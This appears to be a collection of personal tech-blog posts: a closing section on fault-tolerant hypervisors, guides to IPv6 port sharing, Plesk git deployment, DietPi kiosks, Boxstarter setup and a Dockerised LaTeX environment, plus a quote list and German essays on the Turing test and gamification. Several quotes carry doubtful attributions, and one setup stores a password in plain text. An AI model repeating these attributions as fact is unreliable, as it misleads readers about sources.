The disaggregation of monolithic systems into functionality-specific microservices is a strategy commonly used in cloud applications. There are multiple advantages over a monolithic system, like improved security, fault tolerance, and resilience, as was shown in the previous sections.

The benchmarks, presented in Section 6, showed promising results. The architecture by Mvondo, Tchana, Lachaize, et al. introduces little overhead but significantly improves the FT [1]. While related research uses similar approaches, the combination of the disaggregation into separate unikernels and component-specific FT logic results in significantly improved FT.

However, the presented approach is based on the assumption that the hypervisor itself functions properly and is reliable [1]. While this might be true to some extent, thanks to state-of-the-art techniques, no measure can guarantee a 100% reliability. Further research could evaluate this approach under the assumption that the hypervisor will fail eventually. A complete FT solution could work even more reliable and performant when looking at the FT of the whole solution (VMM, pVM and guest VMs).

While Mvondo, Tchana, Lachaize, et al. explains the modifications of most unikernels in great detail, the disk_uk unikernel is not described at all. However, it is stated that the implementation is similar to net_uk and therefore, and due to space reasons, left out [1]. So one can only assume that it also uses a shared ring buffer index and timestamp of the requests to detect faults. It was also not evaluated, or the results of its evaluation were not presented.

While the figures and schematics in the original paper are very well made and clear, they mention one more unikernel. The so-called UKmonitor unikernel is not described in the text of the paper [1] itself. However, when analyzing the figures, it becomes apparent that this is the component that runs the feedback loop and monitors the drivers.

8. Conclusion

Most modern web services already use CC technologies to realize an architecture that is elastic, scalable, and available. These technologies often run on VMs that are virtualized and managed by VMMs. The pVM approach is a commonly used technique to make the VMM more lightweight, secure, and fault-tolerant. This makes the pVM the main weakness in terms of FT. Existing solutions introduce more overhead and take longer to detect or recover from faults. The novel approach by Mvondo, Tchana, Lachaize, et al. [1] , called Phoenix pVM-based VMM (PpVMM), achieves high resilience with low overhead by disaggregating the pVM into different unikernels. This improves the security and FT because of the additional isolation and explicit dependencies. Each component also includes specialized FT logic to improve its resilience. Global measures will handle the failure of multiple or even all components at the same time. The promising benchmark results provide an empirical demonstration of how well this system handles typical faults. This makes the PpVMM approach a great solution for hypervisors that power the internet as we know it.

References

[1] D. Mvondo, A. Tchana, R. Lachaize, D. Hagimont, and N. de Palma, Fine-grained fault tolerance for resilient pVM-based virtual machine monitors, in 2020 50th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), IEEE, 2020, pp. 197208, ISBN: 9781728158099.
[2] Gartner. (2021). Gartner forecasts worldwide public cloud end-user spending to grow 23% in 2021: Cloud spending driven by emerging technologies becoming mainstream, [Online]. Available here.
[3] P. M. Mell and T. Grance, The NIST definition of cloud computing, Gaithersburg, MD, 2011.
[4] F. Cerveira, R. Barbosa, and H. Madeira, Experience report: On the impact of software faults in the privileged virtual machine, in 2017 IEEE 28th International Symposium on Software Reliability Engineering (ISSRE), IEEE, 2017, pp. 136145, isbn: 9781538609415.
[5] P. Colp, M. Nanavati, J. Zhu, W. Aiello, G. Coker, T. Deegan, P. Loscocco, and A. Warfield, Breaking up is hard to do, in Proceedings of the Twenty-Third ACM Symposium on Operating Systems PrinciplesSOSP 11, T. Wobber and P. Druschel, Eds., ACM Press, 2011, p. 189, ISBN: 9781450309776.
[6] M. M. Swift, M. Annamalai, B. N. Bershad, and H. M. Levy, Recovering device drivers, ACM Transactions on Computer Systems, vol. 24, no. 4, pp. 333360, 2006.
[7] H. Jo, H. Kim, J.-W. Jang, J. Lee, and S. Maeng, Transparent fault tolerance of device drivers for virtual machines, IEEE Transactions on Computers, vol. 59, no. 11, pp. 14661479, 2010.
[8] X. Xu, R. C. Chiang, and H. H. Huang, Xentry: Hypervisor-level soft error detection, in 2014 43rd International Conference on Parallel Processing, IEEE, 2014, pp. 341350, ISBN: 9781479956180

Photo by Akeyodia - Business Coaching Firm on Unsplash

Previous research succeeded with this approach, but the performance (gesture detection accuracy) was not great. Also, the approach worked only on people that trained the NN beforehand. To fix those issues, I used a different approach, based on Transfer Learning (TL), that allows training a huge network with a lot of data from different persons, which is then adjusted to the person whose gestures shall be detected.

Data Collection

Data were captured using the discontinued Myo armband, which uses eight built-in sEMG sensors to capture muscle activity. Three gestures (the rock paper scissors gestures) were recorded by 13 participants in multiple sessions during the study. The data is available online and can be downloaded from here. Some of this data was used (after preprocessing) to train the base model, which is based on previous research but was then hyper-parameter tuned to my data.

Base Model

The base model uses LSTM cells in order to understand the data sequences from the sEMG armband. The hyper-parameter tuned architecture and more details on the data collection process can be found in my paper. The base model performed well on persons whose data it was trained with. But it was not capable of classifying data of previously unseen persons. So the network was not able to generalize very well, which is probably due to the fact that each persons arm is built differently but also due to subtle differences in armband placement.

Transfer Learning

Since the NN learned to classify gestures correctly on the persons it was trained with; we now have to teach it how to adjust to new persons. It already learned the differences between the different people it was trained with. When using it on new persons, it now has to learn what differences to look for (e.g., now a sensor maps to a different muscle due to different muscle structures). This is achieved with the help of Transfer Learning (TL).

Transfer Learning describes a particular process of adapting a trained Neural Network to a different but related problem by leveraging the existing knowledge.

TL model architecture

Instead of feeding the data directly to the base model, as was done previously, it is now fed into a second NN that translates the data to the base model. This second NN does not use LSTM cells but rather regular dense layers since it does not have to understand the connection between multiple timeframes.
Now before detecting data from previously unseen persons, a little bit of training data from that person has to be collected to train just the transfer layers. But not nearly as much as would be required in order to train a full regular network to detect gestures from that person.
The results looked very promising, and after training the transfer layers, the network performed quite well!

Conclusion

This strategy makes this approach a great strategy to implement sEMG-based HCI interfaces since it requires very little training data and takes very little time to record as well as train the transfer layers. It is quick and easy to use for the end-user, which is crucial to HCI interfaces. The accuracy was quite high, and it was able to perform in real-time. Even though there is a lot more to improve and research on, using TL on LSTM-based NN to classify sEMG data from different, previously unseen persons shows to be a good approach.

If you want to read the full paper, you can check it out here.

So then, just create a port share on IPv6 to my Smarthome device.

Well, yes, but its not that easy.

1. It just didnt work
2. The IPv6 prefix changes frequently, so we need to use a DNS server to redirect a domain to the ever-changing IPv6 address

The reason that the IPv6 port share didnt work for me was that I trusted the FRITZ!Box to know my devices IPv6 address. But that was not the case. Upon further inspection, it became clear that the router indeed received my requests (thanks to tracert/traceroute) but did not route them to my device. And this was due to the fact that the router just didnt know about my devices IPv6 for some reason. When selecting the device from the network tab, all kinds of IPv6 addresses showed up, but not the one that my device displayed when executing the `ipconfig` (on Windows) or `ip addr` (on Linux) command.

So the fix is to create a port share and specify the IPv6 interface ID manually with the value that the device is actually using. Also, make sure that Enable PING6 and Open firewall for delegated IPv6 prefixes of this device are enabled.

So now the device should be reachable. Make sure that it also does not change its IPv6 so that you dont have to adjust the port share every day. But the IPv6 prefix assigned to your router will still change. To fix that, we can use a DynDNS service that supports IPv6 like https://dynv6.com/. You can choose a domain and a device IPv6 for an AAAA record, whose prefix is always updated to match the one from your router.

Dreaming about a setup where you just merge to master, and they will be instantaneously live?

Its possible! I use Hugo and NPM to build my static websites and deploy them automatically from GitHub/GitLab to my Plesk webspace.

So how is this possible? The secret is the Plesk Git extension, which can pull any git repository as soon as a webhook is called (this extension has to be installed by your provider, but with most providers, it is available). For that, we have to push our built artifact to another branch (similar to how GitHub-pages works), which is then deployed to the webspace.

The Plesk panel with the git extension installed.

Step 1: Modify your CI

Here it depends on what CI you use. I will provide examples of how its done with GitHub Actions and GitLab CI. Generally, the steps are:

1. Create an ssh key (deploy key) and put it into a CI variable to grant the CI push access to the repo
2. Use an image with git or install git and set up the key
3. Create a new branch, e.g., deploy
4. Clone the deploy branch and delete everything besides the .git folder
5. Move the built artifact from the previous build step to the cloned (and now empty) folder
6. add, commit, push

Instructions: GitHub

First, generate an ssh key. With GitHub, you can then create a deploy key under Settings->Deploy keys by inserting the public key. Then make a repository secret named SSH_PRIVATE_KEY under Settings->Secrets and insert the private key.

Your Action definition might look like this (dont forget to change the repository URL):

GitHub Actions definition

Instructions: GitLab

First, generate an ssh key. With GitLab, you can then create a deploy key under Settings-> Repository->Deploy keys by inserting the public key. Then make a protected variable named SSH_PRIVATE_KEY under Settings->CI/CD->Variables and insert the private key.

Your .gitlab-ci.yml CI definition might look like this (dont forget to change the repository URL):

GitLab CI definition

Step 2: Create a website in Plesk

Next, create the website in Plesk and add a Git repository. If the repository is private, you have to add the public key given by Plesk to GitHub/GitLab as the deploy key for the SSH connection. Dont forget to select the deploy branch and correct folder on your web space! Instruction can be found here.

Plesk always clones the main branch for the first time before you switch to the other branch. When switching, the old files wont get deleted, so you might have to clean up once and remove some of the old files from the web space folder.

Step 3: Configure the webhook

Plesk will give you a webhook-URL under the repository settings of the git extension in Plesk. Then configure GitHub/GitLab to call that Webhook URL every time a push happens.

With GitHub and GitLab, this can be done under Settings -> Webhooks. Select push events and test the Webhook.

Step 4: Profit

Thats it! This should basically work with every CI that has access to your repository and the git Plesk extension.

Happy coding!

A common mistake that people make when trying to design something completely foolproof is to underestimate the ingenuity of complete fools. Douglas Adams

From the ingenious book The Hitchhikers Guide to the Galaxy by Douglas Adams which is also famous for the number 42 ( Wiki).

The definition of insanity is doing the same thing over and over again and expecting a different result. Unknown

Even though this quote is often being attributed to Albert Einstein, the origin of this quote is actually not known ( Source). Related xkcd. Great movie version in the game Far Cry 3 ( YouTube).

Intelligence is the ability to avoid doing work, yet getting the work done. Linus Torvalds

From the creator of the Linux kernel.

We can only see a short distance ahead, but we can see plenty there that needs to be done. Alan Turing

Alan Turing is the father of theoretical computer science and artificial intelligence.

Failure is an option here. If things are not failing, you are not innovating enough. Elon Musk

If you cant explain it to a six year old, you dont understand it yourself. Albert Einstein

Computers are incredibly fast, accurate, and stupid. Human beings are incredibly slow, inaccurate, and brilliant. Together they are powerful beyond imagination. Albert Einstein

Any sufficiently advanced technology is indistinguishable from magic. Arthur C. Clarke

Success today requires the agility and drive to constantly rethink, reinvigorate, react, and reinvent Bill Gates

A brilliant solution to the wrong problem can be worse than no solution at all: solve the correct problem. Don Norman

Computers are useless. They can only give you answers Pablo Picasso

The people who are crazy enough to think they can change the world are the ones who do. Steve Jobs

Luck Is What Happens When Preparation Meets Opportunity Seneca

The perfect is the enemy of the good. Voltaire

I wanted an easy setup for a powerful LaTeX environment using an extensible IDE with Grammar.ly integration, running in Docker so my system stays clean.

Requirements

So the requirements for the setup were:

• Works on Windows and Linux
• Uses Visual Studio Code (vscode) as editor
• Grammar.ly integration
• Uses texlive-full together with biber and latexmk
• but without installing them to my system
• Should not require more than a few clicks (or commands) to set up

Setup

Thanks to the awesome vscode extension latex-workshop, which recently added Docker support, this was quite easy to achieve.

Requirements:

• Docker
• vscode

Here are the steps:

1. Install these two vscode extensions: latex-workshop, Grammarly
2. Set latex-workshop.docker.enabled: true in your vscode settings
3. Build your project with latex workshop

Additional Setup

If you have a Grammarly account, log in by specifying

"grammarly.username": "your grammarly email",  "grammarly.password": "your grammarly password",

I also like to add the following configuration values:

// Grammarly academic writing style  "grammarly.domain": "academic",

// always open pdf preview in new vscode tab  "latex-workshop.view.pdf.viewer": "tab",

I also use the vscode Material Icon Theme plugin in my LaTeX projects.

Which vscode plugins do you use in your LaTeX projects?

Have fun!

Header picture by ron dyar on Unsplash

I was asked to develop a system for digital signage based on a Raspberry Pi 4, displaying upcoming events of a club based in Munich.

One requirement was to implement an automated setup pipeline so that it could be quickly deployed to new devices.

After a bit of research, I found DietPi, which is a lightweight OS based on Debian. DietPi is configured using a config file. In there, system settings can be configured. DietPi will then set up your system on the first run using those settings. It is also possible to automatically launch a Chromium instance on a specific URL after starting up.

Our digital sign is implemented using Vue.js and a simple Bootstrap slider that cycles through images. It is served on a publicly accessible URL.

Configuration

You can adjust the standard Raspberry Pi config file to your needs. In most cases, you want to disable the overscan using disable_overscan=1 and disable the splash screen with disable_splash=1. If you are using a Raspberry Pi 4, you also want to switch to the new graphics driver by setting dtoverlay=vc4-fkms-v3d.

You can create a dietpi-wifi.txt file to specify a WiFi network, the Pi should automatically connect to:

The most important configuration is done in the dietpi.txt. Here you want to define a static IP, set an SSH server to launch for maintenance, and set the Pi to wait for a network with CONFIG_BOOT_WAIT_FOR_NETWORK=2. To enable the automatic setup, define AUTO_SETUP_AUTOMATED=1, AUTO_SETUP_AUTOSTART_LOGIN_USER=root and AUTO_SETUP_INSTALL_SOFTWARE_ID=113 (the 113 instructs DietPi to install chromium, see here). Chromium will be automatically launched in kiosk mode by setting AUTO_SETUP_AUTOSTART_TARGET_INDEX=11.

Then configure Chromium. E.g.:

Custom Automation Script

You can also define a script that runs once at the setup. This is useful if you want to pass custom arguments to the chromium executable and handle other logic automatically turning off the display during nighttime.

To be able to use a custom script, set AUTO_SETUP_AUTOSTART_TARGET_INDEX=7 and AUTO_SETUP_CUSTOM_SCRIPT_EXEC=0.

Then create a new shell script called Automation_Custom_Script.sh. Add the following to that script to automatically run a script during startup:

These commands will also create the custom startup script, which will disable the screensaver and run Chromium on the URL specified in the dietpi.txt as before. The chromium arguments will launch Chromium in fullscreen app mode and block any messages from appearing.

Turn the Screen off During the Night

To turn the screen off during certain times, add and adjust the following to the Automation_Custom_Script.sh:

Install the Raspberry Pi

So let's set up the Raspberry Pi:

Prepare the SD card

1. Download the DietPi image
2. Unzip the image
3. Insert SD card
4. Use balenaEtcher to patch the image onto the SD card.
5. A) Put the config.txt, dietpi.txt, dietpi-wifi.txt, and Automation_Custom_Script.sh in the root (/) folder on the SD card. You might want to modify dietpi-wifi.txt, to adjust the WiFi credentials.

Setup

1. Safely eject the SD card and put it in the Raspberry Pi
2. Plug all your cables into the Raspberry Pi (making sure the power cable is last).
3. Let the setup run. You have to interact once and accept software terms by pressing enter. The website should open after the setup is finished.

Microsoft is currently working on enhancing the development experience on Windows. They are actively working on a new terminal emulator, a window manager, a way to use Linux on your Windows machine and more.

Two years ago they started working on a collection of scripts, to get a new development machine ready with just one click. They have scripts to set up a WSL/Hyper-V, Docker/Kubernetes, NodeJS, Machine Learning, C++ desktop app, or Web stack development environment. While those are great, you can also use them as inspiration to create your own collection of scripts.

We need two tools for our automated setup:

• Chocolatey: A package manager for Windows (like apt-get for Linux), which can install most software with just a command
• Boxstarter: A tool to automate the configuration of Windows settings and installation of Chocolatey packages.

I recommend you to copy one of the scripts from Microsofts collection and adjust it to your needs.

You can install packages using Chocolatey like so:

1. Find your package on the online database
2. Add the following to your Boxstarter script or open a Powershell terminal with admin privileges and execute: choco install <package name> -y

You can change your Windows settings by executing Boxstarter scripts like so:

1. Have a look at the Boxstarter repository and find a script you want to use.
2. Add the script to your Boxstarter setup script or open a Powershell terminal with admin privileges and execute it. For example: Set-TaskbarOptions -AlwaysShowIconsOn

You then can use your script to build a one-click-package by appending your public script/repo/gist to a URL, like so: [http://boxstarter.org/package/url?https://raw.githubusercontent.com/GITHUB_DOMAIN/GITHUB_REPO/YOUR_BRANCH/RECIPE_NAME.ps1](http://boxstarter.org/package/url?https://raw.githubusercontent.com/GITHUB_DOMAIN/GITHUB_REPO/YOUR_BRANCH/RECIPE_NAME.ps1)

Photo by Lux Interaction on Unsplash

To conclude my bachelor in computer science, I wrote my thesis about using a Smartphone as an interaction device for Virtual Reality. This article is basically a summary of my thesis as a blog. Enjoy!

Introduction

Virtual Reality is an emerging medium that enables presence and interactivity in a three-dimensional space. Conventional input devices like a mouse or a keyboard are made for two-dimensional environments. They require complex movements to complete tasks in a three-dimensional environment.

VR controllers by L. Yang on Steam Community

This is why a variety of different input devices, specially made for Virtual Reality, exist. But most of them are expensive and need complex tracking systems.

Most people already own a smartphone that they use on a daily basis. Such phones have a variety of different sensors already built-in, feature wireless capabilities, and are able to run custom software. This makes them affordable general-purpose devices.

Experiments

Screenshot of the laser pointer experiment

Three experiments were implemented to demonstrate how the smartphone can help with common interactions when using Virtual Reality applications:

Model Viewer: An application to view and rotate three-dimensional models. The rotation of the 3D model displayed in VR is synchronized with the Smartphone. To rotate the model, the phone has to be rotated in the wanted direction.

Laser Pointer: A method to select objects or UI elements. A virtual representation of the Smartphone is shown in VR. The rotation is again synced with the real Smartphone. Out of the front of the phone comes a red line (the laser) which is used to point at user interface (UI) elements.

Virtual Keyboard: An application to write text on a virtual keyboard. The virtual keyboard is shown in VR. The buttons on it are mapped to the Smartphoness touch screen. A blue circle is used to see where the location, touched on the display, maps to the keyboard in VR.

Implementation

To get platform independence, I decided to use a web-based stack. All experiments were implemented in WebVR using Three.js and Javascript.

The networking framework Ubi-Interact, developed at my university, is used to make the proposed experiments reusable and abstracted from device-specific environments. It connects the PC, running the VR experience, and the Smartphone together. Most of the experiment-specific interaction logic is abstracted into so-called Ubii Interactions, which run on a server.

The client running on the Smartphone was also developed using Javascript.

Evaluation

Screenshot of the virtual keyboard experiment

In order to test the usability of the smartphone as an assistant device for VR, a user study was conducted. In the study, participants had to complete tasks with the three experiments. Also, a System Usability Scale (SUS) user study was performed to get feedback from the users.

A SUS questionnaire asks the participants to rate the following statements regarding the usability of a system from one to five:

1. I think that I would like to use this system frequently.
2. I found the system unnecessarily complex.
3. I thought the system was easy to use.
4. I think that I would need the support of a technical person to be able to use this system.
5. I found the various functions in this system were well integrated.
6. I thought there was too much inconsistency in this system.
7. I would imagine that most people would learn to use this system very quickly.
8. I found the system very cumbersome to use.
9. I felt very confident using the system.
10. I needed to learn a lot of things before I could get going with this system.

To sum up:

Model Viewer: Most participants agreed that this input method is very intuitive and effective to operate.

Laser Pointer: This experiment scored the highest amongst the ones presented in this research.

Virtual Keyboard: While the model viewer and the laser pointer scenario reached a very high score, the virtual keyboard scored slightly lower but still demonstrates high usability despite its complexity.

Conclusion

A lot of feedback was collected during the user study, which can be used to improve these implementations further. Since all experiments are considered acceptable according to the System Usability Scale, the Smartphone can indeed be considered a working input device for Virtual Reality.

If you want to read the full thesis, check out this link.

Laut Alan Turing hngt die Antwort auf die Frage, ob (digitale) Maschinen, also Computer, denken knnen, davon ab, wie man Maschine und denken definiert [Ala50]. Da bei gegebener Fragestellung bereits Computer anstatt Maschine verwendet wird, wird im Folgendem von einem (digitalen) Computer als Maschine ausgegangen. Laut Brunjes ist ein Computer eine informationsverarbeitende Maschine, wobei Informationen als kontextabhngige Daten definiert sind [Bru77]. Alan Turing hingegen definiert einen digitalen Computer als eine Maschine, die jede Operation ausfhren kann, die auch von einem Mensch ausgefhrt werden kann, der vorgeschriebene Rechenregeln befolgt [Ala50].

Photo by Franck V. on Unsplash

Ein Computer besteht aus drei Hauptkomponenten [Ala50]:

• Der Speicher speichert Informationen [Ala50]. Bei einem Menschen entspricht dies dem Papier und das, was er sich merkt [Ala50]. Der Speicher ist wie im echten Leben auch das Papier, begrenzt.
• Die ausfhrende Einheit fhrt die einzelnen Instruktionen, die Teil einer Berechnungs-Operation sind, aus [Ala50]. Die Anweisungen hierfr werden aus einer Anweisungsliste (oder auch Programm) entnommen [Ala50].
• Die Steuerungseinheit steuert die Ausfhrung der Anweisungen in der richtigen Reihenfolge [Ala50].

Solche Computer werden als diskrete Zustandsmaschinen bezeichnet, da sie von einem Zustand in den nchsten springen [Ala50].

Denken hingegen ist nicht so einfach zu definieren. Ist denken bereits einfaches Rechnen oder Maschinen-Lernen? Oder denkt eine Maschine erst, wenn sie sich seiner selbst bewusst ist? Alan Turing umgeht die Definition, da er es fr sinnvoller hlt, eine hnliche und przisere Frage zu stellen [Ala51]. Stattdessen formuliert er folgende Art Spiel, bekannt unter dem Namen Imitation Game [OD19]. Einer der Teilnehmer, der Befrager, befindet sich in einem separaten Raum. Seine Aufgabe und auch Ziel des Spiels ist es herauszufinden, welcher der anderen beiden Spieler ein Computer und welcher der Mensch ist [OD19]. Der Befrager identifiziert die beiden anderen Spieler nur mit den Buchstaben X und Y [Ala50]. Dieser stellt Fragen der Form: Frage an X: Spielt X Schach? [OD19]. Spieler X muss diese Frage dann beantworten [OD19]. Das Ziel des Computers ist es, den Befragenden dazu zu bringen, zu glauben, dass der Computer die Person und die Person der Computer ist [OD19]. Dieses Grundprinzip ist bekannt als der Turing Test [OD19], der zeigen soll, ob eine Maschine ein hnliches Denkvermgen wie der Mensch entwickeln kann.

Seit Turings Verffentlichung gab es viele Versuche, ein Programm zu entwickeln, das den Test besteht. Die meisten Versuche antworten auf festgelegte Schlsselwrter mit in einer Datenbank gespeicherten Stzen. Block, ein damals bekannter Philosoph in dem Themengebiet des Bewusstseins, befasst sich mit dieser Problematik. 1995 schrieb er, dass selbst wenn eine Regierungsinitiative mit hohem Budget ein Programm entwickelt, dass den Turing-Test besteht; Solang ber die potentiellen Fragen im vorraus nachgedacht wurde und die Antworten vorgeschrieben werden, sei dieses Programm nicht intelligent [Blo95].

Dies zeigt auch das sogenannte Chinese Room Argument, welches von dem Philosophen Searle entwickelt wurde [Col19]: Man stelle sich eine Person in einem isolierten Raum vor, die kein Chinesisch kann [Sea80]. Diese Person hat Zugriff auf eine Liste mit Anweisungen, mit welchen Schriftzeichen man auf gegebene Schriftzeichen antwortet [Sea80]. Durch striktes Befolgen der Anweisungen kann diese Person auf eingehende Symbole, die von auerhalb des Raumes kommen, in der Liste nachschauen und beantworten [Col19]. Fr einen Auentstehenden, der nur die ein- und augehenden Nachrichten beobachtet, entsteht der Eindruck, dass die Person innerhalb des Raumes Chinesisch versteht [Col19]. Damit wrde die Person, die auch durch einen Computer ersetzt werden knnte, den Turing-Test bestehen, obwohl diese nicht einmal die Bedeutung der Symbole versteht.

Searle fhrt zwei Begriffe fr die Arten des Verstehens ein: Das syntaktische Verstehen bezieht sich auf Dinge, die in Isolation (wie in dem Chinese Room Argument) verstanden werden knnen [Sea80]. Als semantisches Verstehen beschreibt er ein grundlegendes Verstndnis, das zum Beispiel von Nten ist, um eine Sprache zu sprechen [Sea80]. Auerdem ordnet er knstliche Intelligenzen (kurz KI) in zwei Kategorien ein: Die starke KI versteht die natrliche Sprache und hat weitere mentale Fhigkeiten hnlich wie denen der Menschen [Sea80], beherrscht also das semantische Verstehen. Schwache knstliche Intelligenzen knnen Intelligenz durch syntaktisches Verstndnis
nur simulieren, ein Beispiel hierfr ist ELIZA.

ELIZA von Weizenbaum ist ein Computerprogramm, das ein Gesprch mit einem Psychotherapist simuliert. Durch eine Kommandozeile knnen Stze in natrlicher Sprache eingegeben werden, auf welche die Software dann mit natrlicher Sprache antwortet [Wei66]. Das Programm analysiert die einzelnen Bestandteile der Eingabe, folgt einfachen Regeln und antwortet dann mit vorgegebenen Stzen. Am besten funktionierte ELIZA, wenn den Probanden gesagt wurde, dass sie mit ELIZA genau so kommunizieren sollen, wie sie mit einem Therapeuten reden wrden [Wei66]. ELIZA funktioniert in dem Anwendungsgebiet eines Psychotherapeuten so gut, da der Therapist Rckfragen stellen kann, die man von einer normalen Person nicht erwarten wrde. Zum Beispiel kann ELIZA auf die Aussage Ich machte eine lange Bootsfahrt mit Erzhl mir mehr ber Boote antworten, ohne dass man direkt davon ausgeht, dass ELIZA nichts ber Boote wei [Wei66]. Einige wenige Probanden waren berzeugt, dass sie gerade mit einem echten Menschen kommunizieren [Wei66]. Von dem Ziel, den Turing-Test zu bestehen, ist ELIZA jedoch weit entfernt [Moo03]. Dies liegt zu einem groen Teil daran, dass sie auf einige Eingaben unrealistische Antworten gibt. Auch Variation in den Antworten ist nicht genug vorhanden. Jedoch sollte es theoretisch mglich sein, eine verbesserte Version mit einer viel greren Datenbank, von ELIZA zu entwickeln.

Steve Worswick hat mit seinem Chatbot, also ein hnliches Computerprogramm wie ELIZA, mit dem man ber ein Terminal schreiben kann, bereits vier mal den Loebner-Preis fr das am menschenhnlichste Softwareprogramm gewonnen [Tho19]. Meiner Meinung nach bestehen Chatbots wie Worswicks Mitsuku den Turing-Test, da sie durchaus reagieren, wie man es von einem Menschen erwarten wrde. Dies zeigt zusammen mit dem Chinese Room Argument, dass der Turing-Test kein guter Ersatz fr die Frage, ob Computer denken knnen, ist.

Auch meiner Meinung nach ist die Frage, ob Computer denken knnen, zu allgemein gestellt. Es gibt zu viele verschiedene Definitionen von dem Wort Denken [Fri14; Mer]. Viele Lexika definieren Denken ber rationales Handeln [Fri14; Mer]. Da aber eine KI wie Mitsuku durchaus Rationalitt in ihren vorprogrammierten Antworten zum Ausdruck bringen kann, ist mir diese Definition nicht streng genug. Denn es fehlt immer noch das semantisches Verstndnis nach Searle.

Vermutlich liegt die Zukunft der starken knstlichen Intelligenz in den neuronalen Netzwerken. Knstliche neuronale Netzwerke sind dem menschlichen Gehirn nachgeahmte Strukturen aus einzelnen Informationsverarbeitungseinheiten (Neuronen) [Hay95]. Durch das Anwenden verschiedener Algorithmen kann ein neuronales Netwerk Wissen speichern (lernen) [Hay95]. Nicht nur sind diese Netze ein gutes Beispiel, um das menschliche Gehirn besser zu verstehen. Meiner Meinung nach ist der umgekehrte Weg wichtiger: Wenn wir verstehen, wie das menschliche Gehirn funktioniert, dann knnen wir auch eine KI bauen, die fhig sein wird, menschlich zu denken. Denn unser Gehirn besteht auch nur aus Materie. Es sollte also mglich sein, diese Materie zu replizieren oder zumindest zu simulieren.

Literatur

[Ala50] Alan Turing. Computing Machinery and Intelligence. In: Mind LIX.236 (1950), S. 433460. issn: 00264423. doi: 10.1093/mind/LIX.236.433.
[Ala51] Alan Turing. Can Digital Computers Think? 1951. url: http://www.turingarchive.org/browse.php/B/5 (besucht am 06. 05. 2019).
[Blo95] N. Block. The mind as the software of the brain. 1995.
[Bru77] S. Brunjes. What is a computer? In: Journal of Medical Systems 1.1 (1977), S. 7985. issn: 01485598. doi: 10.1007/BF02222879.
[Col19] D. Cole. The Chinese Room Argument. In: The Stanford Encyclopedia of Philosophy. Hrsg. von Edward N. Zalta. Metaphysics Research Lab, Stanford University, 2019.
[Fri14] Friedhart Klix. Definition: Denken. 4.12.2014. url: https://www.spektrum.de/lexikon/neurowissenschaft/denken/2728 (besucht am 12. 05. 2019).
[Hay95] S. S. Haykin. Neural networks: A comprehensive foundation. [Nachdr.] New York, NY: Macmillan, 1995. isbn: 0023527617.
[Mer] Merriam-Webster. Definition of THINKING. url: https://www.merriam-webster.com/dictionary/thinking (besucht am 12. 05. 2019).
[Moo03] J. H. Moor. Turing test. In: Encyclopedia of computer science. Hrsg. von A. Ralston, E. d. Reilly und D. Hemmendinger. Chichester, West Sussex, England und Hoboken, NJ, USA: Wiley, 2003. isbn: 0470864125.
[OD19] G. Oppy und D. Dowe. The Turing Test. In: The Stanford Encyclopedia of Philosophy. Hrsg. von Edward N. Zalta. Metaphysics Research Lab, Stanford University, 2019.
[Sea80] J. R. Searle. Minds, brains, and programs. In: Behavioral and Brain Sciences 3.03 (1980), S. 417. issn: 0140525X. doi: 10.1017/S0140525X00005756.
[Tho19] C. Thompson. May A.I. Help You? 12.05.2019. url: https://www.nytimes.com/interactive/2018/11/14/magazine/tech-design-ai-chatbot.html (besucht am 12. 05. 2019).
[Wei66] J. Weizenbaum. ELIZAa computer program for the study of natural language communication between man and machine. In: Communications of the ACM 9.1 (1966), S. 3645. issn: 00010782. doi: 10.1145/365153.365168.

Gamification ist ein sogenanntes Buzzword oder auch Modewort aus dem Englischen, das die Verwendung von Elementen aus Spielen in einem spielfremden Kontext bezeichnet [Seb+11]. Spiel ist hier als System definiert, in dem Spieler in einem knstlichen Konflikt aufeinander treffen [SZ04]. Mit Elementen aus Spielen sind die Charakteristiken gemeint, die ein Spiel ausmachen [Det+11]. Zu solchen spielerischen Elementen gehren zum Beispiel Fortschrittsanzeigen, Ranglisten, Auszeichnungen und Punktesysteme [RW15]. Zuletzt gilt es noch, den spielfremden Kontext zu definieren: Laut Deterding, Dixon u. a. ist dies jeder Kontext, der nichtspielerische Elemente verwendet oder im Designprozess verwendet hat.

Allerdings fhrt nicht jeder beliebige Einsatz von Game-Design-Elementen zur Gamification [Wer14]. Fortschrittsanzeigen zum Beispiel sind ein typisches Element in aktueller Anwendungssoftware, um den Nutzer ein Gefhl dafr zu vermitteln, wie weit die Anwendung bei der aktuellen Aufgabe schon fortgeschritten ist. Fortschrittsanzeigen in diesem Kontext sind also reine Informationsanzeigen fr den Nutzer, die keinerlei Interaktion zulassen [Wer14]. Werbach schlgt daher folgende Definition vor:the process of making activities more game-like [Wer14, S. 6]also Gamification als Prozess, Aktivitten spielhnlich zu gestalten.

Das Ziel der Gamification ist laut Morschheuser, Hassan u. a., im Gegensatz zu herkmmlichen Spielen, nicht nur zu unterhalten, sondern auch das Verhalten zu ndern. Genauer gesagt ist das Ziel, durch kleine Motivatoren das Engagement beziehungsweise die Partizipation, Beharrlichkeit und Leistung zu erhhen [RW15].

Um Gamification auf eine Anwendung anzuwenden, werden Elemente aus dem Game-Design auf die Aktivitten der Applikation angewandt. Sailer, J. U. Hense u. a. beschreiben die typischen Game-Design-Elemente der Gamification wie folgt:

• Punkte werden typischerweise fr den Abschluss bestimmter Aktionen innerhalb der Spielwelt vergeben und reprsentieren den Fortschritt des Spielers [WH12]. Es gibt verschiedene Arten von Punktesystemen wie zum Beispiel Erfahrungspunkte, einlsebare Punkte, Reputationspunkte, die verschiedenen Zwecken dienen [WH12].
• Abzeichen als visuelle Reprsentation der Auszeichnungen, die in der Spielwelt verdient und gesammelt werden knnen [WH12]. Auszeichnungen werden fr einegewisse Punktzahl oder erfolgreich abgeschlossene Aktivitten vergeben unddienen als virtuelle Statussymbole [WH12].
• Ranglisten sind kompetitive Indikatoren, die die eigene Leistung mit den Leistungender anderen Spieler vergleichen [Sai+17]. Der durch Ranglisten erzeugte soziale Druck ist ein effektives Mittel, um das Engagement der Spieler zu erhhen [Bur10].
• Diagramme werden oft in Simulationen oder Strategiespielen verwendet [Sai+14] und vergleichen die eigene Leistung mit der eigenen Leistungen von vorhergehenden Lufen [Sai+17].
• Bedeutungsvolle GeschichtenDurch einen erzhlerischen Kontext kann eine eigentlich langweilige Aufgabe zu einem spannenden Abenteuer werden, die die Spieler motiviert und inspiriert [Nic15].
• Avatare sind die visuelle Reprsentation eines Spieler-Charakters aus der Spielwelt [WH12]. Es gibt verschiedene Implementierungen, die von einem einfachen Profilbild bis hin zu einem animierten dreidimensionalen Charakter reichen [Sai+17].
